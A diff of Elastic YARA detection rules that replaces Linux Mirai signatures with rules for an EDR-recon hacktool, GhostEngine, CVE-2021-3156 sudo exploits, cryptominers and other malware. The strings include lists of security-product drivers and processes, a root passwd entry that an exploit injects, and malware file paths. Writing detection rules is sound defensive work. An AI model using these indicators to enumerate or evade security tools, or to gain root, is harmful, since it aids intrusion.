+		$s01 = "WdFilter.sys" ascii wide fullword
+		$s02 = "mpFilter.sys" ascii wide fullword
+		$s03 = "SRTSP.sys" ascii wide fullword
+		$s04 = "eeCtrl.sys" ascii wide fullword
+		$s05 = "360AvFlt.sys" ascii wide fullword
+		$s06 = "360fsflt.sys" ascii wide fullword
+		$s07 = "esensor.sys" ascii wide fullword
+		$s09 = "klflt.sys" ascii wide fullword
+		$s10 = "klam.sys" ascii wide fullword
+		$s11 = "SysmonDrv.sys" ascii wide fullword
+		$s12 = "CarbonBlackK.sys" ascii wide fullword
+		$s13 = "edrsensor.sys" ascii wide fullword
+		$s14 = "naswSP.sys" ascii wide fullword
+		$s15 = "symevnt.sys" ascii wide fullword
+		$s16 = "symevnt32.sys" ascii wide fullword
+		$s17 = "CyProtectDrv" ascii wide fullword
+		$s18 = "mfeaskm.sys" ascii wide fullword
+		$s19 = "SentinelMonitor.sys" ascii wide fullword
+		$s20 = "sentinelelam.sys" ascii wide fullword
+		$s21 = "SophosSupport.sys" ascii wide fullword
+		$s22 = "CSDeviceControl.sys" ascii wide fullword
+		$s23 = "csagent.sys" ascii wide fullword
+		$s24 = "avgntflt.sys" ascii wide fullword
+		$s25 = "bddevflt.sys" ascii wide fullword
+		$s26 = "CiscoAMPHeurDriver.sys" ascii wide fullword
+		$s27 = "DeepInsFS.sys" ascii wide fullword
+		$s28 = "eamonm.sys" ascii wide fullword
+		$s29 = "fortirmon.sys" ascii wide fullword
+		$s30 = "FlightRecorder.sys" ascii wide fullword
+		$s31 = "TmKmSnsr.sys" ascii wide fullword
+		$s32 = "cpepmon.sys" ascii wide fullword
+		$s33 = "cposfw.sys" ascii wide fullword
+		$s34 = "cyvrmtgn.sys" ascii wide fullword
+		$s35 = "elastic-endpoint-driver.sys" ascii wide fullword
+		$s36 = "elasticelam.sys" ascii wide fullword
+		$37 = "mbamwatchdog.sys" ascii wide fullword
+		$38 = "FortiEDRWinDriver" ascii wide fullword
+		$39 = "QaxNfDrv.sys" ascii wide fullword
+		$40 = "qmnetmonw64.sys" ascii wide fullword
+		$s41 = "TFsFlt.sys" ascii wide fullword
+		$s42 = "DsArk64.sys" ascii wide fullword
 
 	condition:
-		all of them
+		14 of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_C5430Ff9 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Edrrecon_Ca314Aa1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Hacktool Edrrecon (Windows.Hacktool.EDRrecon)"
 		author = "Elastic Security"
-		id = "c5430ff9-af40-4653-94c3-4651a5e9331e"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "ca314aa1-3bbe-489c-a77a-fb7a0eca1f67"
+		date = "2024-03-07"
+		modified = "2024-06-10"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L637-L655"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5676773882a84d0efc220dd7595c4594bc824cbe3eeddfadc00ac3c8e899aa77"
-		logic_hash = "8c385980560cd4b24e703744b57a9d5ea1bca8fbeea066e98dd4b40009e56104"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_EDRrecon.yar#L61-L115"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f62e51b2405c0d42c53ff1f560376ef0530ba2eea1c97e18f2a3cf148346bcd1"
+		logic_hash = "04b8681b0b6f8fa51eb90488edf35638da3334886c7db5fc22218712b0d23007"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "a19dcb00fc5553d41978184cc53ef93c36eb9541ea19c6c50496b4e346aaf240"
+		fingerprint = "58c6c2cbb92262098af27f8434863d1ea91c31f02727c5dde72d6ac07b3b872d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 00 00 FC F3 A6 0F 97 C2 0F 92 C0 38 C2 75 29 83 EC 08 8B }
+		$s01 = "SentinelAgent.exe" ascii wide fullword
+		$s02 = "SentinelUI.exe" ascii wide fullword
+		$s03 = "MsMpEng.exe" ascii wide fullword
+		$s04 = "SenseIR.exe" ascii wide fullword
+		$s05 = "elastic-endpoint.exe" ascii wide fullword
+		$s06 = "elastic-agent.exe" ascii wide fullword
+		$s07 = "CylanceSvc.exe" ascii wide fullword
+		$s09 = "CybereasonAV.exe" ascii wide fullword
+		$s10 = "Traps.exe" ascii wide fullword
+		$s11 = "CyvrFsFlt.exe" ascii wide fullword
+		$s12 = "EIConnector.exe" ascii wide fullword
+		$s13 = "ekrn.exe" ascii wide fullword
+		$s14 = "fortiedr.exe" ascii wide fullword
+		$s15 = "RepMgr.exe" ascii wide fullword
+		$s16 = "TaniumDetectEngine.exe" ascii wide fullword
+		$s17 = "CSFalconService.exe" ascii wide fullword
+		$s18 = "CSFalconContainer.exe" ascii wide fullword
+		$s19 = "EndpointBasecamp.exe" ascii wide fullword
+		$s20 = "hmpalert.exe" ascii wide fullword
+		$s21 = "xagt.exe" ascii wide fullword
+		$s22 = "TMBMSRV.exe" ascii wide fullword
+		$s23 = "EIConnector.exe" ascii wide fullword
+		$s25 = "mcsclient.exe" ascii wide fullword
+		$s26 = "sophososquery.exe" ascii wide fullword
+		$s27 = "TaniumClient.exe" ascii wide fullword
+		$s28 = "asdsvc.exe" ascii wide fullword
+		$s29 = "avp.exe" ascii wide fullword
+		$s30 = "avpui.exe" ascii wide fullword
+		$s31 = "mbae-svc.exe" ascii wide fullword
+		$s32 = "mbae.exe" ascii wide fullword
+		$s33 = "ccSvcHst.exe" ascii wide fullword
+		$s35 = "bdagent.exe" ascii wide fullword
+		$s36 = "ir_agent.exe" ascii wide fullword
+		$s37 = "eguiproxy.exe" ascii wide fullword
+		$s38 = "ekrn.exe" ascii wide fullword
+		$s39 = "Sysmon64.exe" ascii wide fullword
+		$s40 = "Sysmon.exe" ascii wide fullword
 
 	condition:
-		all of them
+		14 of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_402Adc45 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Darkloadlibrary_C25Ee4Eb : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Hacktool Darkloadlibrary (Windows.Hacktool.DarkLoadLibrary)"
 		author = "Elastic Security"
-		id = "402adc45-6279-44a6-b766-24706b0328fe"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "c25ee4eb-8ea6-40e2-a1a3-ec60491ced03"
+		date = "2022-12-02"
+		modified = "2023-01-11"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L657-L675"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1ae0cd7e5bac967e31771873b4b41a1887abddfcdfcc76fa9149bb2054b03ca4"
-		logic_hash = "dab879d57507d5e119ddf4ce6ed33570c74f185a2260e97a7ec1d6c844943e5d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_DarkLoadLibrary.yar#L1-L29"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5546194a71bc449789c3697f9c106860ac0a21e1ccf2b1196120b3f92f4b5306"
+		logic_hash = "c585abbe72834e9ba2e5f1c8070a43b0f10c2b574c72ffe1def4bfd431096415"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "01b88411c40abc65c24d7a335027888c0cf48ad190dd3fa1b8e17d086a9b80a0"
+		fingerprint = "a73ca4c615d3567c48cc9ec3eedb0497de67960e9610fd1d0ad136075005d10b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { C3 EB DF 5A 5B 5D 41 5C 41 5D C3 41 57 41 56 41 55 41 54 55 53 48 }
+		$guid = "3DDD52BB-803A-40E7-90E4-A879A873DD8B" ascii wide nocase
+		$print_str0 = "LocalLdrGetProcedureAddress: failed to resolve address of: %s" ascii fullword
+		$print_str1 = "Not implemented yet, sorry" wide
+		$print_str2 = "Failed to link module to PEB: %s" ascii wide fullword
+		$print_str3 = "Failed to resolve imports: %s" ascii wide fullword
+		$print_str4 = "Failed to map sections: %s" ascii wide fullword
+		$print_str5 = "Failed to open local DLL file" wide fullword
+		$print_str6 = "Failed to get DLL file size" wide fullword
+		$print_str7 = "Failed to allocate memory for DLL data" wide fullword
+		$print_str8 = "Failed to read data from DLL file" wide fullword
+		$print_str9 = "Failed to close handle on DLL file" wide
 
 	condition:
-		all of them
+		$guid or 4 of ($print_str*)
 }
-rule ELASTIC_Linux_Trojan_Mirai_A39Dfaa7 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_M0Yv_92F66467 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan M0Yv (Windows.Trojan.M0yv)"
 		author = "Elastic Security"
-		id = "a39dfaa7-7d2c-4d40-bea5-bbebad522fa4"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "92f66467-89fd-4501-b045-3c6aed6c82f9"
+		date = "2023-05-03"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L677-L694"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "98fde36fc412b6aa50c80c12118975a6bf754a9fba94f1cc3cdeed22565d6b0d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_M0yv.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0004d22dd18c0239b722c085101c0a32b967159e2066a0b7b9104bb43f5cdea0"
+		logic_hash = "a47b20679aee9559213de22783cfbc55c6091785e4dc288349963e863b78cf41"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "95d12cb127c088d55fb0090a1cb0af8e0a02944ff56fd18bcb0834b148c17ad7"
+		fingerprint = "2afebc9478fbad18b74748794773cae9be3a4eac599d657bab5a7f8de331ba41"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 6C 72 00 00 50 E8 4E 0C 00 00 EB 0E 5A 58 59 97 60 8A 54 }
+		$a1 = { 54 65 7D 41 69 6E 63 5D 6A 68 6D }
+		$a2 = { 4E 73 4D 62 62 77 61 6E 66 77 58 72 61 72 64 6C 7D }
+		$a3 = { 40 65 7D 41 69 6E 63 48 77 71 7A 69 66 74 75 67 7A 55 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_E3E6D768 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2021_3156_F3Fb10Cd : FILE CVE_2021_3156
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Exploit Cve 2021 3156 (Linux.Exploit.CVE-2021-3156)"
 		author = "Elastic Security"
-		id = "e3e6d768-6510-4eb2-a5ec-8cb8eead13f2"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "f3fb10cd-1d49-420f-8740-5c8990560943"
+		date = "2021-09-15"
+		modified = "2021-09-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L696-L714"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b505cb26d3ead5a0ef82d2c87a9b352cc0268ef0571f5e28defca7131065545e"
-		logic_hash = "b848c7200f405d77553d661a6c49fb958df225875957ead35b35091995f307d1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2021_3156.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "65fb8baa5ec3bfb4473e4b2f565b461dd59989d43c72b1c5ec2e1a68baa8b51a"
+		logic_hash = "cc80e0b2355877cd9ceecae19d4dcebb641d90a24c0751bf706134b31bf26750"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "ce11f9c038c31440bcdf7f9d194d1a82be5d283b875cc6170a140c398747ff8c"
+		tags = "FILE, CVE-2021-3156"
+		fingerprint = "66aca7d13fb9c5495f17b7891e388db0a746d8827c8ae302a6cb8d86f7630bbb"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 7E 14 48 89 DF 48 63 C8 4C 89 E6 FC F3 A4 41 01 C5 48 89 FB }
+		$a1 = "/usr/bin/sudoedit" fullword
+		$a2 = "<smash_len_a>" fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_520Deeb8 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2021_3156_7F5672D0 : FILE CVE_2021_3156
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Exploit Cve 2021 3156 (Linux.Exploit.CVE-2021-3156)"
 		author = "Elastic Security"
-		id = "520deeb8-cbc0-4225-8d23-adba5e040471"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "7f5672d0-73f1-4143-b3e2-3aed110779e3"
+		date = "2021-09-15"
+		modified = "2021-09-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L716-L733"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "671c17835f30cce1e5d68dbf3a73d340069b1b55a2ac42fc132c008cb2da622e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2021_3156.yar#L22-L45"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1a4517d2582ac97b88ae568c23e75beba93daf8518bd3971985d6a798049fd61"
+		logic_hash = "e25907f11a2f292441a96e19834ad89636593a3f8998ec0010e43830f5aa0c64"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca"
+		tags = "FILE, CVE-2021-3156"
+		fingerprint = "71e90dd36342686bb4be7ef86e1ceb2e915c70f437f4733ddcc5175860ca4084"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44 }
+		$a1 = "/tmp/gogogo123456789012345678901234567890go" fullword
+		$a2 = "gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash" fullword
+		$sudo = "sudoedit" fullword
+		$msg1 = "succes with sleep time %d us" fullword
+		$msg2 = "[+] Success with %d attempts" fullword
+		$msg3 = "symlink 2nd time success at: %d" fullword
 
 	condition:
-		all of them
+		( any of ($a*)) or ($sudo and 2 of ($msg*))
 }
-rule ELASTIC_Linux_Trojan_Mirai_77137320 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Ghostengine_8Ea2Aa65 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Ghostengine (Windows.Trojan.GhostEngine)"
 		author = "Elastic Security"
-		id = "77137320-6c7e-4bb8-81a4-bd422049c309"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "8ea2aa65-d7e2-4c58-9f95-3194cd8b6990"
+		date = "2024-05-07"
+		modified = "2024-05-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L735-L753"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9"
-		logic_hash = "ee48e0478845a61dbbdb5cc3ee5194eb272fcf6dcf139381f068c9af1557d0d4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_GhostEngine.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2fe78941d74d35f721556697491a438bf3573094d7ac091b42e4f59ecbd25753"
+		logic_hash = "3bddd2ac79d92d34df5d2df4a11cf96cc44ca39c3baece1b5c67b75a682778ff"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "afeedf7fb287320c70a2889f43bc36a3047528204e1de45c4ac07898187d136b"
+		fingerprint = "17c4c2fa2d412b79ee197de1e6bd6a4c882ad894be54a780e540627a570756e5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 54 24 01 89 C7 31 F6 31 C9 48 89 A4 24 00 01 00 00 EB 1D 80 7A }
+		$str0 = "\\\\.\\IOBitUnlockerDevice"
+		$str1 = "C:\\Windows\\Fonts\\taskhostw.exe"
+		$str2 = "C:\\Windows\\Fonts\\config.json"
+		$str3 = "/drives/kill.png"
+		$str4 = "C:\\Windows\\Fonts\\WinRing0x64.sys"
+		$str5 = "C:\\Windows\\Fonts\\smartsscreen.exe"
+		$binary0 = { 89 C2 C1 E8 1F C1 E0 1F 85 C0 0F 84 74 01 00 00 D1 E2 89 CB C1 E9 1F 09 D1 D1 E3 C1 EB 1F 89 CA D1 E1 09 D9 89 CB 81 C1 80 7F B1 D7 C1 EA 1F 81 C3 80 7F B1 D7 83 D2 0D 81 C1 00 09 6E 88 89 4C 24 20 83 D2 F1 89 54 24 24 }
+		$binary1 = { 83 F9 06 0F ?? ?? ?? ?? ?? 8B 10 81 FA 78 38 36 5F 0F 85 ?? ?? ?? ?? 0F B7 50 04 66 81 FA 36 34 74 ?? E9 ?? ?? 00 00 C7 04 24 00 E4 0B 54 C7 44 24 04 02 00 00 00 }
 
 	condition:
-		all of them
+		3 of ($str*) or 1 of ($binary*)
 }
-rule ELASTIC_Linux_Trojan_Mirai_A6A81F9C : FILE MEMORY
+rule ELASTIC_Macos_Cryptominer_Generic_D3F68E29 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Macos Cryptominer Generic (MacOS.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "a6a81f9c-b43b-4ec3-8b0b-94c1cfee4f08"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "d3f68e29-830d-4d40-a285-ac29aed732fa"
+		date = "2021-09-30"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L755-L772"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "0d31cc1f4a673c13e6c81c492acbe16e1e0dfb0b15913fb276ea4abff18b32af"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Cryptominer_Generic.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d9c78c822dfd29a1d9b1909bf95cab2a9550903e8f5f178edeb7a5a80129fbdb"
+		logic_hash = "cc336e536e0f8dda47f9551dfabfc50c2094fffe4a69cdcec23824dd063dede0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e1ec5725b75e4bb3eefe34a17ced900a16af9329a07a99f18f88aaef2678bfc1"
+		fingerprint = "733dadf5a09f4972629f331682fca167ebf9a438004cb686d032f69e32971bd4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { 41 57 00 54 43 50 00 47 52 45 00 4B 54 00 73 68 65 6C 6C 00 }
+		$a1 = "command line argument. See 'ethminer -H misc' for details." ascii fullword
+		$a2 = "Ethminer - GPU ethash miner" ascii fullword
+		$a3 = "StratumClient"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_485C4B13 : FILE MEMORY
+rule ELASTIC_Macos_Cryptominer_Generic_365Ecbb9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Macos Cryptominer Generic (MacOS.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "485c4b13-3c7c-47a7-b926-8237cb759ad7"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "365ecbb9-586e-4962-a5a8-05e871f54eff"
+		date = "2021-09-30"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L774-L792"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead"
-		logic_hash = "9625e4190559cc77f41ebef24f9bfa5e3d2e2259c12b301148c614b0f98b5835"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Cryptominer_Generic.yar#L23-L41"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e2562251058123f86c52437e82ea9ff32aae5f5227183638bc8aa2bc1b4fd9cf"
+		logic_hash = "66f16c8694c5cfde1b5e4eea03c530fa32a15022fa35acdbb676bb696e7deae2"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "28f3e8982cee2836a59721c88ee0a9159ad6fdfc27c0091927f5286f3a731e9a"
+		fingerprint = "5ff82ab60f8d028c9e4d3dd95609f92cfec5f465c721d96947b490691d325484"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { 7E 1F 8B 4C 24 4C 01 D1 0F B6 11 88 D0 2C 61 3C 19 77 05 80 }
+		$a = { 55 6E 6B 6E 6F 77 6E 20 6E 65 74 77 6F 72 6B 20 73 70 65 63 69 66 69 65 64 20 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_7146E518 : FILE MEMORY
+rule ELASTIC_Macos_Cryptominer_Generic_4E7D4488 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Macos Cryptominer Generic (MacOS.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "7146e518-f6f4-425d-bac8-b31edc0ac559"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "4e7d4488-2e0c-4c74-84f9-00da103e162a"
+		date = "2021-09-30"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L794-L811"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "374602254be1f5c1dbb00ad25d870722e03d674033dfcf953a2895e1f50c637d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Cryptominer_Generic.yar#L43-L61"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e2562251058123f86c52437e82ea9ff32aae5f5227183638bc8aa2bc1b4fd9cf"
+		logic_hash = "708b21b687c8b853a9b5f8a50d31119e4f0a02a5b63f81ba1cac8c06acd19214"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "334ef623a8dadd33594e86caca1c95db060361c65bf366bacb9bc3d93ba90c4f"
+		fingerprint = "4e7f22e8084734aeded9b1202c30e6a170a6a38f2e486098b4027e239ffed2f6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { 85 82 11 79 AF 20 C2 7A 9E 18 6C A9 00 21 E2 6A C6 D5 59 B4 E8 }
+		$a = { 69 73 20 66 69 65 6C 64 20 74 6F 20 73 68 6F 77 20 6E 75 6D 62 65 72 20 6F 66 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_6A77Af0F : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Caesarkbd_32Bb198B : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Caesarkbd (Windows.Trojan.CaesarKbd)"
 		author = "Elastic Security"
-		id = "6a77af0f-31fa-4793-82aa-10b065ba1ec0"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "32bb198b-ec03-4628-8e9b-bc36c2525ec7"
+		date = "2022-04-04"
+		modified = "2022-06-09"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L813-L830"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "7d7623dfc1e16c7c02294607ddf46edd12cdc7d39a2b920d8711dc47c383731b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CaesarKbd.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d4335f4189240a3bcafa05fab01f0707cc8e3dd7a2998af734c24916d9e37ca8"
+		logic_hash = "f708706524515f98ebf612ac98318ee7172347096251d9ccd723f439070521de"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016"
+		tags = "FILE"
+		fingerprint = "54ed92761bb619ae4dcec9c27127d6c2a74a575916249cd5db24b8deb2ee0588"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41 }
+		$str1 = "CaesarKbd_IOCtrl"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Linux_Trojan_Mirai_5F7B67B8 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Rtcore_4Eeb2Ce5 : FILE
 {
 	meta:
